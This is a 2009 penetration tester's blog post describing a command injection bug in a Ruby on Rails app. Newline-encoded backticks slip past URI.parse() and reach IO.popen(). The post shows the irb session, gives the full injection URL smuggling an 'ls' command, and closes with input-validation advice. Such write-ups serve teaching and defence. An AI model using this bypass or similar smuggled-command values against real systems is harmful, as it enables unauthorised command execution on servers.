Thursday, October 15, 2009

Mainlining new lines: feel the burn

Since the blog has been pretty stale for the last couple of months, I've decided to try and spice things up with a couple of war stories from recent web app pen tests. No XSS bugs here. I'm talking about complete, CPU melting, rack busting pwnage and destruction, shock and awe, all delivered over HTTP. OK, maybe I'm being a little dramatic, but at least they won't be XSS bugs. Besides, if you own the box, who needs XSS?

Command Execution in Ruby on Rails app

This RoR application was accepting a user supplied URL which got passed to an external application via IO.popen(). If I could inject a back-tick or escape from the quoted string being passed to popen(), I could execute arbitrary commands. My problem was that these basic injection attacks were failing because the devs did a decent job of validating input. Part of the validation approach relied on passing the user supplied data to Ruby's URI.parse() function. The parse() function would raise an exception any time I injected a "malicious" character, and the script would stop executing before calling popen().

I knew I had to find some sort of filter bypass bug in URI.parse() if I wanted any pwnage, so I fired up irb and after a few manual fuzzing attempts I had it:

nullbyte:~ mikezusman$ ruby -v
ruby 1.9.1p243 (2009-07-16 revision 24175) [i386-darwin9.8.0]
nullbyte:~ mikezusman$ irb
>> require 'uri'
=> true
>> require 'cgi'
=> true
>> u1 = "http://www.google.com"
=> "http://www.google.com"
>> u2 = "http://www.google.com`ls`"
=> "http://www.google.com`ls`"
>> u3 = "http://www.google.com%0A`ls%0A`"
=> "http://www.google.com%0A`ls%0A`"
>> URI.parse(u1)
=> #

>> URI.parse(u2)
URI::InvalidURIError: bad URI(is not URI?): http://www.google.com`ls`
from /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/uri/common.rb:436:in `split'
from /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/uri/common.rb:485:in `parse'
from (irb):7
from :0
>> URI.parse(u3)
URI::InvalidURIError: bad URI(is not URI?): http://www.google.com%0A`ls%0A`
from /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/uri/common.rb:436:in `split'
from /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/uri/common.rb:485:in `parse'
from (irb):8
from :0
>> URI.parse(CGI::unescape(u3))
=> #

>> x = URI.parse(CGI::unescape(u3))
=> #


Injecting a URL encoded version (%0A) of a new line (\n) would get my URL encoded back-tick (%60) through the URI.parse() function unscathed. After the successful call to parse(), the data was passed to popen() and my commands would be executed. My attack looked like: http://victim.com/controller?param=http://www.google.com%0A%60ls%0A%60

Lessons Learned

Relying on the result of a call to a third party routine doesn't necessarily equate to "input validation." However, used differently, URI.parse() could have very easily helped to prevent this bug. URI.parse() returns a new object whose members could be used to construct a safe string to be passed to popen().
This would work because everything after the %0A gets dropped:

>> d = "http://www.google.com/%0A%60ls%0A%60"
=> "http://www.google.com/%0A%60ls%0A%60"
>> r = URI.parse(CGI::unescape(d))
=> #

>> r.path
=> "/"
>> new_arg = "#{r.scheme}://#{r.host}#{r.path}"
=> "http://www.google.com/"


If you relied on the above as "input validation", you just would have gotten lucky that the function chopped off everything after the new line. Some times luck is enough. But when dealing with user data being passed to a system command, a little extra scrutiny can go a long way towards protecting your application. URI.parse() makes it easier for us to enforce additional validation checks by letting us look at each piece of the URI (protocol/scheme, host, path).

When fetching user supplied URI's, this sort of fine grained input validation is something we should be doing anyway. For example, simply parsing the URI would not block an attack against the local host, since http://127.0.0.1/ is valid. We might also want to make sure that the protocol is http|https (not ftp, for example) and that our application isn't being used to scan the network on the inside of the firewall (by blacklisting internal IPs and host names).

Moral of the Story

Just like many other bugs, this one could have been prevented with better input validation. Even if you think you're doing a good job validating your input, remember that not all input validation routines are created equal. Stay tuned for my next post, where we'll explore the short comings of relying on static analysis tools to catch similar bugs.

Update 10/22/2009
@emerose filed this bug report.

No comments: